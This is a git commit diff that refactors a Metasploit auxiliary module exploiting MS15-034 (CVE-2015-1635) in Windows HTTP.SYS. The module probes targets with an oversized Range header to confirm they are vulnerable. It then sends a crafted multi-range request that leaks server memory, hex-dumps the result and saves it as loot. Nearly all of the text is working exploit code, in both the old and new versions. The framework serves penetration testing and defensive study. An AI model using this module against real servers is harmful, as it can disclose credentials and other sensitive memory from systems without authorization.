Changes for ms15034_http_sys_memory_dump.rb

bug/bundler_fix
wchen-r7 2015-06-23 01:07:33 -05:00
parent 8086a6f8cc
commit e9b548e8a2
1 changed files with 131 additions and 97 deletions

View File

@ -11,9 +11,9 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'MS15-034 HTTP.SYS Memory Dump',
def initialize(info = {})
super(update_info(info,
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure',
'Description' => %q{
Dumps memory contents using a crafted Range header. Affects only
Windows 8.1, Server 2012, and Server 2012R2. Note that if the target
@ -22,35 +22,91 @@ class Metasploit3 < Msf::Auxiliary
seem stable. Using a larger target file should result in more memory
being dumped, and SSL seems to produce more data as well.
},
'Author' => 'Rich Whitcroft <rwhitcroft[at]gmail.com>',
'Author' =>
[
'Rich Whitcroft <rwhitcroft[at]gmail.com>', # Msf module
'sinn3r' # Some more Metasploit stuff
],
'License' => MSF_LICENSE,
'References' => [ ['URL', 'http://securitysift.com/an-analysis-of-ms15-034/'] ]
)
'References' =>
[
['CVE', '2015-1635'],
['MSB', 'MS15-034'],
['URL', 'http://pastebin.com/ypURDPc4'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'],
['URL', 'http://securitysift.com/an-analysis-of-ms15-034/']
]
))
register_options([
OptString.new('TARGET_URI', [ true, 'The path to the resource (must exist!)', '/iisstart.htm' ]),
OptInt.new('RPORT', [ true, 'The target port', 443 ]),
OptBool.new('SSL', [ true, 'Use SSL?', true ]),
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']),
OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ])
], self.class)
deregister_options('VHOST')
end
def check
res = send_request_raw({
'uri' => datastore['TARGET_URI'],
'method' => 'GET',
'headers' => {
'Range' => 'bytes=0-18446744073709551615'
}
})
unless res
vprint_error("Error in send_request_raw")
return false
def target_uri
@target_uri ||= super
end
def potential_static_files_uris
uri = normalize_uri(target_uri.path)
return [uri] unless uri[-1, 1] == '/'
uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"]
res = send_request_raw('uri' => uri)
return uris unless res
site_uri = URI.parse(full_uri)
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))
page.xpath('//link|//script|//style|//img').each do |tag|
%w(href src).each do |attribute|
attr_value = tag[attribute]
next unless attr_value && !attr_value.empty?
uri = site_uri.merge(URI.encode(attr_value.strip))
next unless uri.host == vhost || uri.host == rhost
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file
end
end
return (res.body.include?("Requested Range Not Satisfiable") ? true : false)
uris.uniq
end
def check_host(ip)
upper_range = 0xFFFFFFFFFFFFFFFF
potential_static_files_uris.each do |potential_uri|
uri = normalize_uri(potential_uri)
res = send_request_raw(
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=0-#{upper_range}"
}
)
vmessage = "#{peer} - Checking #{uri} [#{res.code}]"
if res && res.body.include?('Requested Range Not Satisfiable')
vprint_status("#{vmessage} - Vulnerable")
# Save the file that we want to use for the information leak
target_uri.path = uri
return Exploit::CheckCode::Vulnerable
elsif res && res.body.include?('The request has an invalid header name')
return Exploit::CheckCode::Safe
end
end
Exploit::CheckCode::Unknown
end
def dump(data)
@ -64,108 +120,86 @@ class Metasploit3 < Msf::Auxiliary
end
end
i = 1
bytes_per_line = 16
lines_suppressed = 0
bytes = String.new
chars = String.new
print_line
print_good("Memory contents:")
print_line(Rex::Text.to_hex_dump(data))
end
data.each_byte do |b|
bytes << "%02x" % b.ord
# Needed to allow the vulnerable uri to be shared between the #check and #dos
def target_uri
@target_uri ||= super
end
if b.ord.between?(32, 126)
chars << b.chr
else
chars << "."
def get_file_size
@file_size ||= lambda {
file_size = -1
uri = normalize_uri(target_uri.path)
res = send_request_raw('uri' => uri)
unless res
vprint_error("#{peer} - Connection timed out")
return file_size
end
if i > 1 and i % bytes_per_line == 0
if bytes !~ /^[0f]{32}$/
bytes.gsub!(/(.{4})/, '\1 ')
print_status("#{bytes} #{chars}")
else
lines_suppressed += 1
end
bytes.clear
chars.clear
if res.code == 404
vprint_error("#{peer} - You got a 404. URI must be a valid resource.")
return file_size
end
i += 1
file_size = res.headers['Content-Length'].to_i
vprint_status("#{peer} - File length: #{file_size} bytes")
return file_size
}.call
end
def calc_ranges(content_length)
ranges = "bytes=3-18446744073709551615"
range_step = 100
for range_start in (1..content_length).step(range_step) do
range_end = range_start + range_step - 1
range_end = content_length if range_end > content_length
ranges << ",#{range_start}-#{range_end}"
end
print_status("Suppressed #{lines_suppressed} uninteresting lines") unless lines_suppressed.zero?
ranges
end
def run_host(ip)
begin
unless check
unless check_host(ip)
print_error("Target is not vulnerable")
return
else
print_good("Target may be vulnerable...")
end
# determine the size of the resource
res = send_request_raw({ 'uri' => datastore['TARGET_URI'], 'method' => 'GET' })
unless res
print_error("Error in send_request_raw")
return
end
content_length = get_file_size
ranges = calc_ranges(content_length)
if res.code == 200
content_length = res.headers['Content-Length'].to_i
print_good("Content length is #{content_length} bytes")
else
print_error("Error: HTTP code #{res.code}")
return
end
# build the Range header
ranges = "bytes=3-18446744073709551615"
range_step = 100
for range_start in (1..content_length).step(range_step) do
range_end = range_start + range_step - 1
range_end = content_length if range_end > content_length
ranges << ",#{range_start}-#{range_end}"
end
sock_opts = {
'SSL' => datastore['SSL'],
'SSLVersion' => datastore['SSLVersion'],
'LocalHost' => nil,
'PeerHost' => ip,
'PeerPort' => datastore['RPORT']
}
sock = Rex::Socket::Tcp.create(sock_opts)
req = "GET #{datastore['TARGET_URI']} HTTP/1.1\r\nHost: #{ip}\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)\r\nAccept: */*\r\nConnection: keep-alive\r\nRange: #{ranges}\r\n\r\n"
sock.put(req)
uri = normalize_uri(target_uri.path)
cli = Rex::Proto::Http::Client.new(ip)
cli.connect
req = cli.request_raw(
'uri' => target_uri.path,
'method' => 'GET',
'headers' => {
'Range' => ranges
}
)
cli.send_request(req)
print_good("Stand by...")
resp = String.new
loop do
sleep 2
resp = cli.read_response
buf = sock.get_once(-1, 2)
if buf
resp << buf
else
break
end
end
if resp and not resp.empty?
dump(resp)
if resp
dump(resp.to_s)
loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump')
print_status("Memory dump saved to #{loot_path}")
else
print_error("Target does not appear to be vulnerable (must be 8.1, 2012, or 2012R2)")
return
print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Unable to connect")
@ -174,7 +208,7 @@ class Metasploit3 < Msf::Auxiliary
print_error("Timeout receiving from socket")
return
ensure
sock.close if sock
cli.close if cli
end
end
end